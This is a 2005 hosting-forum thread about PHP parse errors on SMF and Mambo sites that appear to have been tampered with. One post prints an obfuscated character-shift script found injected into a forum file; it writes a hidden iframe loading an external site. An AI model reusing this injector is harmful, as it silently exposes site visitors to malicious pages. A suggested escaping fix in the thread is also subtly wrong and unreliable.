Welcome Guest ( Log In | Register )



2 Pages V   1 2 >  
Closed TopicStart new topic
> Php Parsing Error On Smf On My Site, Parse error: parse error, unexpected T_C
Logan Deathbring...
post Oct 4 2005, 05:19 PM
Post #1


Geek in-training
Group Icon

Group: Members
Posts: 301
Joined: 2-July 05
From: Washington State, USA, 3rd Rock from the Star Sol
Member No.: 6,772



QUOTE
Parse error: parse error, unexpected T_CONSTANT_ENCAPSED_STRING in /home/jeremy1/public_html/guild_forum/Sources/Subs.php on line 272


thats the error I get when people try to access the forums I run on my website. I've been through the code but can't figure out exactly whats wrong. I'm still quite new to PHP and still have a very limited understanding of it. All I can say for certin is that up untill around 2 p.m. PST the forums were working then around that time they seem to have stopped and started outputing that error message. If anyone can help me it would be greatly appreciated.
Go to the top of the page
 
+Quote Post
vizskywalker
post Oct 4 2005, 10:23 PM
Post #2


Techno-Necromancer
Group Icon

Group: Members
Posts: 1,018
Joined: 13-January 05
From: The Net
Member No.: 2,127



We can't really help unless we can see the source code, several lines at least. We can only make uneducated guesses, which undoubtedly people will do, but source code would be very helpful.

~Viz
Go to the top of the page
 
+Quote Post
spacewaste
post Oct 5 2005, 03:58 AM
Post #3


Premium Member
Group Icon

Group: Members
Posts: 385
Joined: 13-October 04
From: Ontario
Member No.: 1,175



I received a similar error on both my e107 website and smf website.

the smf one, I just went to drastic mesures..And did some things I'm not to proud of (reinstalation sad.gif).

the link for the e107 is still there to be studied though:

http://wasteofspace.astahost.com/e107

Goodluck my children!
Go to the top of the page
 
+Quote Post
Quatrux
post Oct 5 2005, 08:55 AM
Post #4


the Q
Group Icon

Group: [HOSTED]
Posts: 1,054
Joined: 13-July 05
From: Lithuania, Vilnius
Member No.: 7,059



just show the lines of code from 271 to 273 including them and I think as said above we will help you. smile.gif
Go to the top of the page
 
+Quote Post
Hercco
post Oct 5 2005, 09:50 AM
Post #5


Super Member
Group Icon

Group: Members
Posts: 595
Joined: 4-September 04
Member No.: 228



I get an error too:

Parse error: parse error, unexpected '/' in /home/hercco/public_html/forums/Sources/Post.php on line 1822

There is this javascipt added and have no idea where the hell it came from:

CODE
  <script language="javascript" type="text/javascript">
  var      k='?gly#vw|oh@%ylvlelolw|=#klgghq>#srvlwlrq=#devroxwh>#ohiw=#4>#wrs=#4%A?liudph#vuf@%kwws=22xvhu4<1liudph1ux2Bv@4%#iudpherughu@3#yvsdfh@3#kvsdfh@3#zlgwk@4#khljkw@4#pdujlqzlgwk@3#pdujlqkhljkw@3#v
furoolqj@qrA?2liudphA?2glyA',t=0,h='';
 
  while(t<=k.length-1)
  {
 
  h=h+String.fromCharCode(k.charCodeAt(t++)-3);
 
  }document.write(h);</script>



Go to the top of the page
 
+Quote Post
Hercco
post Oct 5 2005, 09:53 AM
Post #6


Super Member
Group Icon

Group: Members
Posts: 595
Joined: 4-September 04
Member No.: 228



And I noticed that some other files has been changed too.
Go to the top of the page
 
+Quote Post
Logan Deathbring...
post Oct 5 2005, 10:16 PM
Post #7


Geek in-training
Group Icon

Group: Members
Posts: 301
Joined: 2-July 05
From: Washington State, USA, 3rd Rock from the Star Sol
Member No.: 6,772



Well Here is a link to a text version of the Subs.php file. I've been over it a few times and can't seem to see anything that would cause that error, but I'm still quite new to php and can't say that I would see it even if the error was right in front of my face...lol.

Hope ya'll can help me.
Go to the top of the page
 
+Quote Post
vizskywalker
post Oct 5 2005, 10:21 PM
Post #8


Techno-Necromancer
Group Icon

Group: Members
Posts: 1,018
Joined: 13-January 05
From: The Net
Member No.: 2,127



Easy enough to diagnose: see line 272 of the script:
CODE
$pos1 = strpos($db_string, ''', $pos + 1);
There are three single quotes for the seond parameter, which, in essence, defines an empty string, and then a string to continue until the next single quote (causing the unexpected string error message). I'm guessing that the object is to find where a simgle quote appears in the string, so change the three single qutes to an escaped single quote inside two double quotes, like so:
CODE
$pos1 = strpos($db_string, "\'", $pos + 1);

Hope this helps.

~Viz
Go to the top of the page
 
+Quote Post
vujsa
post Oct 6 2005, 05:31 AM
Post #9


Absolute Newbie
Group Icon

Group: Admin
Posts: 888
Joined: 20-February 05
From: Indianapolis, Indiana, USA (Midwest)
Member No.: 2,714



Actually, there are several ''' used throughout the program and none of them have the same problem. Additionally, the file wasn't changed by the user. I also have a similar issue.

It's with mambo though. I'll try to figure out the problem.

I'm pretty sure some gloabl element has caused these errors. Maybe a server configuration change.


Here is the first few lines of the file I get an error on

CODE

/**

* TFS for MAMBO Class

* @package TFSforMAMBO

* @copyright 2003-2005 PJH Diender

* @license http://www.gnu.org/copyleft/gpl.html. GNU Public License

* @version $Revision: 2.0.1 $

* @author Patrick Diender <webmaster@caffeinecoder.net>

*/



//ensure this file is being included by a parent file

defined('_VALID_MOS') or die ('Direct Access to this location is not allowed.');



class TFS_Engine

{



var $d = null; //day

var $m = null; //month

var $y = null; //year

var $dom = null; // domain

var $vid = null; // visitors id

var $updatemsg= null; //update message used for purge

var $language = null; //language setting

var $langini = null; //language setting ini file

var $hourdiff = null; //hourdiff local vs server

var $onlinetime = null; //time online in minutes before new visitor

var $startoption = null; //option for starting statistics

var $purgetime = null; //time for purge database

var $version = null; //version of script

var $MainFrame = null; //mainframe object MOS

var $task = null; //task for TFS_Engine





function TFS_Engine(&$mainframe,$task)

{

global $mosConfig_offset;



$this->MainFrame = &$mainframe;



$this->task = $task;



$sql = "SELECT SQL_BIG_RESULT * FROM #__TFS_configuration";



$this->MainFrame->_db->setQuery($sql);



$rs = mysql_query($this->MainFrame->_db->_sql);



$this->hourdiff = $mosConfig_offset;



while($row = mysql_fetch_array($rs))

{



if ($row['description'] == 'onlinetime')

{

$this->onlinetime = $row['value'];

}



if ($row['description'] == 'startoption')

{

$this->startoption = $row['value'];

}



if ($row['description'] == 'language')

{

$this->langini = $row['value'];

}



if ($row['description'] == 'purgetime')

{

$this->purgetime = $row['value'];

}



if ($row['description'] == 'version')

{

$this->version = $row['value'];

}



}



mysql_free_result($rs);



if(file_exists($this->MainFrame->_config->absolute_path.'/administrator/components/com_tfsformambo/language/'.$this->langini.'.ini.php'))

{

//include language support

$this->language = parse_ini_file($this->MainFrame->_config->absolute_path.'/administrator/components/com_tfsformambo/language/'.$this->langini.'.ini.php',true);

}

else

{

//include language support

$this->language = parse_ini_file($this->MainFrame->_config->absolute_path.'/administrator/components/com_tfsformambo/language/en.ini.php',true);

}



// calculate time diff from server time to local time

$visittime = (time() + ($this->hourdiff * 3600));



if(!isset($_GET['d']))

{

$this->d = date('j',$visittime);

}

else

{

$this->d = $_GET['d'];

}


Again this is a parse error and I have never edited this file. It worked a few days ago but not now.

Parse error: parse error, unexpected T_VARIABLE, expecting ',' or ';' in /home/xxxxxxxx/public_html/xxxxx/xxxxxxxxx/components/com_tfsformambo/admin.tfsformambo.html.php on line 150

Here is lines 137 to 160:
CODE
if ($row['description'] == 'purgetime')

{

$this->purgetime = $row['value'];

}



if ($row['description'] == 'version')

{

$this->version = $row['value'];

}



}



mysql_free_result($rs);



vujsa
Go to the top of the page
 
+Quote Post
Hercco
post Oct 6 2005, 05:38 AM
Post #10


Super Member
Group Icon

Group: Members
Posts: 595
Joined: 4-September 04
Member No.: 228



I noticed some triple (''') at my site too. Also there are files in the forum folders that do not belong there. In my SMF Sources/ there are files called base.php, include.php and create.php. All files empty.

I have emailed support.
Go to the top of the page
 
+Quote Post

2 Pages V   1 2 >
Closed TopicStart new topic

Collapse

> Similar Topics

Topics Topics
  1. MySQL Errors? - Error 13!(0)
  2. Mysql Error(5)
  3. My Site(5)
  4. >30 = ~2 ; Credits Don't Compute; Site Down(6)
  5. Astahost Banner Or Icons?(2)
  6. Upgrade Error(3)
  7. IPS Driver Error / MySQL Database(1)
  8. Wrong Password/username - Fatal Error In Horde(4)
  9. Adsense Ad(1)
  10. Google Sitemaps Not Verifying My Site...(4)
  11. Problem With MySQL Not Being Able To Connect(9)
  12. Mail Delevery System Error(6)
  13. Problems With PHP/Joomla On Hosted Site(7)
  14. Site Unavailable!(7)
  15. Error Accessing Forum Topics(1)
  1. Mysql Error Never Seen On My Site Before (too Many Connections).(13)
  2. Something Odd On My Site......(9)
  3. Mysql Connect Error, Too Many Connections.(1)
  4. Problems With cPanel(9)
  5. Server Or Me?(5)
  6. My Site Is Suspended(8)
  7. Site Not Opeing ( Phpbb Forum) :: Can't Connect To Local Mysql(3)
  8. Strange Error (maybe Directoryindex Glitch?)(6)
  9. Site / Account Not Working(10)
  10. Site Not Working(5)
  11. Can't Access Any Site Hosted On The Server(4)
  12. Site Down Again, Help Or Suggestions?(6)
  13. Time Travel?(1)


 



- Lo-Fi Version Time is now: 13th October 2008 - 11:50 AM